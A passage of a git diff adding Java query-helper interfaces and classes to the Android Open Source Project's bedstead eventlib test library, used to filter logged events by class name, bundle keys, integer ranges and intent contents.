new file mode 100644
index 0000000..91d67ea
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ActivityQuery.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.app.Activity;
+
+import com.android.eventlib.EventLogsQuery;
+
+/** Query for an {@link Activity}. */
+public interface ActivityQuery<E extends EventLogsQuery> extends ClassQuery<E>  {
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ActivityQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ActivityQueryHelper.java
new file mode 100644
index 0000000..8389d4c
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ActivityQueryHelper.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+
+/** Implementation of {@link ActivityQuery}. */
+public final class ActivityQueryHelper<E extends EventLogsQuery> implements ActivityQuery<E> {
+
+    private final E mQuery;
+    private final ClassQueryHelper<E> mClassQueryHelper;
+
+    public ActivityQueryHelper(E query) {
+        mQuery = query;
+        mClassQueryHelper = new ClassQueryHelper<>(query);
+    }
+
+    @Override
+    public E isSameClassAs(Class<?> clazz) {
+        return mClassQueryHelper.isSameClassAs(clazz);
+    }
+
+    @Override
+    public StringQuery<E> className() {
+        return mClassQueryHelper.className();
+    }
+
+    @Override
+    public StringQuery<E> simpleName() {
+        return mClassQueryHelper.simpleName();
+    }
+
+    public boolean matches(ActivityInfo value) {
+        return mClassQueryHelper.matches(value);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BroadcastReceiverQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BroadcastReceiverQuery.java
new file mode 100644
index 0000000..be8f659
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BroadcastReceiverQuery.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.content.BroadcastReceiver;
+
+import com.android.eventlib.EventLogsQuery;
+
+/** Query for an {@link BroadcastReceiver}. */
+public interface BroadcastReceiverQuery<E extends EventLogsQuery> extends ClassQuery<E>  {
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BroadcastReceiverQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BroadcastReceiverQueryHelper.java
new file mode 100644
index 0000000..4957cd4
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BroadcastReceiverQueryHelper.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.BroadcastReceiverInfo;
+
+/** Implementation of {@link BroadcastReceiverQuery}. */
+public final class BroadcastReceiverQueryHelper<E extends EventLogsQuery>
+        implements BroadcastReceiverQuery<E> {
+
+    private final E mQuery;
+    private final ClassQueryHelper<E> mClassQueryHelper;
+
+    public BroadcastReceiverQueryHelper(E query) {
+        mQuery = query;
+        mClassQueryHelper = new ClassQueryHelper<>(query);
+    }
+
+    @Override
+    public E isSameClassAs(Class<?> clazz) {
+        return mClassQueryHelper.isSameClassAs(clazz);
+    }
+
+    @Override
+    public StringQuery<E> className() {
+        return mClassQueryHelper.className();
+    }
+
+    @Override
+    public StringQuery<E> simpleName() {
+        return mClassQueryHelper.simpleName();
+    }
+
+    /** {@code true} if all filters are met by {@code value}. */
+    public boolean matches(BroadcastReceiverInfo value) {
+        return mClassQueryHelper.matches(value);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleKeyQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleKeyQuery.java
new file mode 100644
index 0000000..035285c
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleKeyQuery.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.Bundle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a single key in a {@link Bundle}. */
+public interface BundleKeyQuery<E extends EventLogsQuery> extends Serializable {
+
+    /** Require that the key exists. */
+    E exists();
+
+    /** Require that the key does not exist. */
+    E doesNotExist();
+
+    @CheckResult
+    StringQuery<E> stringValue();
+
+    @CheckResult
+    SerializableQuery<E> serializableValue();
+
+    @CheckResult
+    BundleQuery<E> bundleValue();
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleKeyQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleKeyQueryHelper.java
new file mode 100644
index 0000000..f5851a4
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleKeyQueryHelper.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.Bundle;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Implementation of {@link BundleKeyQuery}. */
+public final class BundleKeyQueryHelper<E extends EventLogsQuery> implements BundleKeyQuery<E>,
+        Serializable {
+
+    private final E mQuery;
+    private Boolean mExpectsToExist = null;
+    private StringQueryHelper<E> mStringQuery = null;
+    private SerializableQueryHelper<E> mSerializableQuery;
+    private BundleQueryHelper<E> mBundleQuery;
+
+    public BundleKeyQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public E exists() {
+        if (mExpectsToExist != null) {
+            throw new IllegalStateException(
+                    "Cannot call exists() after calling exists() or doesNotExist()");
+        }
+        mExpectsToExist = true;
+        return mQuery;
+    }
+
+    @Override
+    public E doesNotExist() {
+        if (mExpectsToExist != null) {
+            throw new IllegalStateException(
+                    "Cannot call doesNotExist() after calling exists() or doesNotExist()");
+        }
+        mExpectsToExist = false;
+        return mQuery;
+    }
+
+    @Override
+    public StringQuery<E> stringValue() {
+        if (mStringQuery == null) {
+            checkUntyped();
+            mStringQuery = new StringQueryHelper<>(mQuery);
+        }
+        return mStringQuery;
+    }
+
+    @Override
+    public SerializableQuery<E> serializableValue() {
+        if (mSerializableQuery == null) {
+            checkUntyped();
+            mSerializableQuery = new SerializableQueryHelper<>(mQuery);
+        }
+        return mSerializableQuery;
+    }
+
+    @Override
+    public BundleQuery<E> bundleValue() {
+        if (mBundleQuery == null) {
+            checkUntyped();
+            mBundleQuery = new BundleQueryHelper<>(mQuery);
+        }
+        return mBundleQuery;
+    }
+
+    private void checkUntyped() {
+        if (mStringQuery != null || mSerializableQuery != null || mBundleQuery != null) {
+            throw new IllegalStateException("Each key can only be typed once");
+        }
+    }
+
+    public boolean matches(Bundle value, String key) {
+        if (mExpectsToExist != null && value.containsKey(key) != mExpectsToExist) {
+            return false;
+        }
+        if (mStringQuery != null && !mStringQuery.matches(value.getString(key))) {
+            return false;
+        }
+        if (mSerializableQuery != null && !mSerializableQuery.matches(value.getSerializable(key))) {
+            return false;
+        }
+        if (mBundleQuery != null && !mBundleQuery.matches(value.getBundle(key))) {
+            return false;
+        }
+
+        return true;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleQuery.java
new file mode 100644
index 0000000..cf9fd77
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleQuery.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.Bundle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a {@link Bundle}. */
+public interface BundleQuery<E extends EventLogsQuery>  extends Serializable {
+
+    /** Query a given key on the {@link Bundle}. */
+    @CheckResult
+    BundleKeyQuery<E> key(String key);
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleQueryHelper.java
new file mode 100644
index 0000000..dc60387
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/BundleQueryHelper.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.Bundle;
+
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+import java.io.Serializable;
+import java.util.HashMap;
+import java.util.Map;
+
+/** Implementation of {@link BundleQuery}. */
+public final class BundleQueryHelper<E extends EventLogsQuery> implements BundleQuery<E>,
+        Serializable {
+
+    private final E mQuery;
+    private final Map<String, BundleKeyQueryHelper<E>> mKeyQueryHelpers = new HashMap<>();
+
+    public BundleQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public BundleKeyQuery<E> key(String key) {
+        if (!mKeyQueryHelpers.containsKey(key)) {
+            mKeyQueryHelpers.put(key, new BundleKeyQueryHelper<>(mQuery));
+        }
+        return mKeyQueryHelpers.get(key);
+    }
+
+    public boolean matches(Bundle value) {
+        for (Map.Entry<String, BundleKeyQueryHelper<E>> keyQueries : mKeyQueryHelpers.entrySet()) {
+            if (!keyQueries.getValue().matches(value, keyQueries.getKey())) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    public boolean matches(SerializableParcelWrapper<Bundle> serializableBundle) {
+        if ((serializableBundle == null || serializableBundle.get() == null)) {
+            if (mKeyQueryHelpers.isEmpty()) {
+                return true;
+            }
+            return false;
+        }
+
+        return matches(serializableBundle.get());
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ClassQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ClassQuery.java
new file mode 100644
index 0000000..997ff68
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ClassQuery.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a {@link Class}. */
+public interface ClassQuery<E extends EventLogsQuery> extends Serializable {
+    /** Require that the class is the same as {@code clazz}. */
+    E isSameClassAs(Class<?> clazz);
+
+    @CheckResult
+    StringQuery<E> className();
+
+    @CheckResult
+    StringQuery<E> simpleName();
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ClassQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ClassQueryHelper.java
new file mode 100644
index 0000000..0c17d18
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ClassQueryHelper.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ClassInfo;
+
+import java.io.Serializable;
+
+/** Implementation of {@link ClassQuery}. */
+public final class ClassQueryHelper<E extends EventLogsQuery>
+        implements ClassQuery<E>, Serializable {
+
+    private final E mQuery;
+    private final StringQueryHelper<E> mClassName;
+    private final StringQueryHelper<E> mSimpleName;
+
+    public ClassQueryHelper(E query) {
+        mQuery = query;
+        mClassName = new StringQueryHelper<>(query);
+        mSimpleName = new StringQueryHelper<>(query);
+    }
+
+    @Override
+    public E isSameClassAs(Class<?> clazz) {
+        return className().isEqualTo(clazz.getName());
+    }
+
+    @Override
+    public StringQuery<E> className() {
+        return mClassName;
+    }
+
+    @Override
+    public StringQuery<E> simpleName() {
+        return mSimpleName;
+    }
+
+    public boolean matches(ClassInfo value) {
+        if (!mClassName.matches(value.className())) {
+            return false;
+        }
+
+        if (!mSimpleName.matches(value.simpleName())) {
+            return false;
+        }
+
+        return true;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/DeviceAdminReceiverQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/DeviceAdminReceiverQuery.java
new file mode 100644
index 0000000..3baea1e
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/DeviceAdminReceiverQuery.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.app.admin.DeviceAdminReceiver;
+
+import com.android.eventlib.EventLogsQuery;
+
+/** Query for a {@link DeviceAdminReceiver}. */
+public interface DeviceAdminReceiverQuery<E extends EventLogsQuery>
+        extends BroadcastReceiverQuery<E>  {
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/DeviceAdminReceiverQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/DeviceAdminReceiverQueryHelper.java
new file mode 100644
index 0000000..6ed0750
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/DeviceAdminReceiverQueryHelper.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.DeviceAdminReceiverInfo;
+
+/** Implementation of {@link DeviceAdminReceiverQuery}. */
+public final class DeviceAdminReceiverQueryHelper<E extends EventLogsQuery>
+        implements DeviceAdminReceiverQuery<E> {
+
+    private final E mQuery;
+    private final ClassQueryHelper<E> mClassQueryHelper;
+
+    public DeviceAdminReceiverQueryHelper(E query) {
+        mQuery = query;
+        mClassQueryHelper = new ClassQueryHelper<>(query);
+    }
+
+    @Override
+    public E isSameClassAs(Class<?> clazz) {
+        return mClassQueryHelper.isSameClassAs(clazz);
+    }
+
+    @Override
+    public StringQuery<E> className() {
+        return mClassQueryHelper.className();
+    }
+
+    @Override
+    public StringQuery<E> simpleName() {
+        return mClassQueryHelper.simpleName();
+    }
+
+    /** {@code true} if all filters are met by {@code value}. */
+    public boolean matches(DeviceAdminReceiverInfo value) {
+        return mClassQueryHelper.matches(value);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/IntegerQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/IntegerQuery.java
new file mode 100644
index 0000000..92b2469
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/IntegerQuery.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a {@link Integer}. */
+public interface IntegerQuery<E extends EventLogsQuery> extends Serializable {
+    /** Require the {@link Integer} is equal to {@code i}. */
+    E isEqualTo(int i);
+
+    /** Require the {@link Integer} is greater than {@code i}. */
+    E isGreaterThan(int i);
+
+    /** Require the {@link Integer} is greater than or equal to {@code i}. */
+    E isGreaterThanOrEqualTo(int i);
+
+    /** Require the {@link Integer} is less than {@code i}. */
+    E isLessThan(int i);
+
+    /** Require the {@link Integer} is less than or equal to {@code i}. */
+    E isLessThanOrEqualTo(int i);
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/IntegerQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/IntegerQueryHelper.java
new file mode 100644
index 0000000..1661954
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/IntegerQueryHelper.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Implementation of {@link IntegerQuery}. */
+public final class IntegerQueryHelper<E extends EventLogsQuery> implements IntegerQuery<E>,
+        Serializable {
+
+    private Integer mEqualToValue = null;
+    private Integer mGreaterThanValue = null;
+    private Integer mGreaterThanOrEqualToValue = null;
+    private Integer mLessThanValue = null;
+    private Integer mLessThanOrEqualToValue = null;
+
+    private final E mQuery;
+
+    public IntegerQueryHelper(E query) {
+        mQuery = query;
+    }
+
+
+    @Override
+    public E isEqualTo(int i) {
+        mEqualToValue = i;
+        return mQuery;
+    }
+
+    @Override
+    public E isGreaterThan(int i) {
+        if (mGreaterThanValue == null) {
+            mGreaterThanValue = i;
+        } else {
+            mGreaterThanValue = Math.max(mGreaterThanValue, i);
+        }
+        return mQuery;
+    }
+
+    @Override
+    public E isGreaterThanOrEqualTo(int i) {
+        if (mGreaterThanOrEqualToValue == null) {
+            mGreaterThanOrEqualToValue = i;
+        } else {
+            mGreaterThanOrEqualToValue = Math.max(mGreaterThanOrEqualToValue, i);
+        }
+        return mQuery;
+    }
+
+    @Override
+    public E isLessThan(int i) {
+        if (mLessThanValue == null) {
+            mLessThanValue = i;
+        } else {
+            mLessThanValue = Math.min(mLessThanValue, i);
+        }
+        return mQuery;
+    }
+
+    @Override
+    public E isLessThanOrEqualTo(int i) {
+        if (mLessThanOrEqualToValue == null) {
+            mLessThanOrEqualToValue = i;
+        } else {
+            mLessThanOrEqualToValue = Math.min(mLessThanOrEqualToValue, i);
+        }
+        return mQuery;
+    }
+
+    /** {@code true} if all filters are met by {@code value}. */
+    public boolean matches(int value) {
+        if (mEqualToValue != null && mEqualToValue != value) {
+            return false;
+        }
+
+        if (mGreaterThanValue != null && value <= mGreaterThanValue) {
+            return false;
+        }
+
+        if (mGreaterThanOrEqualToValue != null && value < mGreaterThanOrEqualToValue) {
+            return false;
+        }
+
+        if (mLessThanValue != null && value >= mLessThanValue) {
+            return false;
+        }
+
+        if (mLessThanOrEqualToValue != null && value > mLessThanOrEqualToValue) {
+            return false;
+        }
+
+        return true;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/IntentQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/IntentQuery.java
new file mode 100644
index 0000000..45d1e9a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/IntentQuery.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.content.Intent;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a {@link Intent}. */
+public interface IntentQuery<E extends EventLogsQuery>  extends Serializable {
+
+    /** Query the {@link Intent#getAction}. */
+    StringQuery<E> action();
+
+    /** Query the {@link Intent#getExtras}. */
+    BundleQuery<E> extras();
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/IntentQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/IntentQueryHelper.java
new file mode 100644
index 0000000..459c29e
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/IntentQueryHelper.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.content.Intent;
+
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+import java.io.Serializable;
+
+/** Implementation of {@link IntentQuery}. */
+public final class IntentQueryHelper<E extends EventLogsQuery> implements IntentQuery<E>,
+        Serializable {
+
+    private final E mQuery;
+    private final StringQueryHelper<E> mAction;
+    private final BundleQueryHelper<E> mExtras;
+
+    public IntentQueryHelper(E query) {
+        mQuery = query;
+        mAction = new StringQueryHelper<>(query);
+        mExtras = new BundleQueryHelper<>(query);
+    }
+
+    @Override
+    public StringQuery<E> action() {
+        return mAction;
+    }
+
+    @Override
+    public BundleQuery<E> extras() {
+        return mExtras;
+    }
+
+    /** {@code true} if all filters are met by {@code value}. */
+    public boolean matches(Intent value) {
+        if (!mAction.matches(value.getAction())) {
+            return false;
+        }
+        if (!mExtras.matches(value.getExtras())) {
+            return false;
+        }
+
+        return true;
+    }
+
+    /**
+     * {@code true} if all filters are met by the {@link Intent} contained in
+     * {@code serializableBundle}.
+     */
+    public boolean matches(SerializableParcelWrapper<Intent> serializableBundle) {
+        if ((serializableBundle == null || serializableBundle.get() == null)) {
+            return false;
+        }
+
+        return matches(serializableBundle.get());
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQuery.java
new file mode 100644
index 0000000..dd3112a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQuery.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.PersistableBundle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.EventLogsQuery;
+
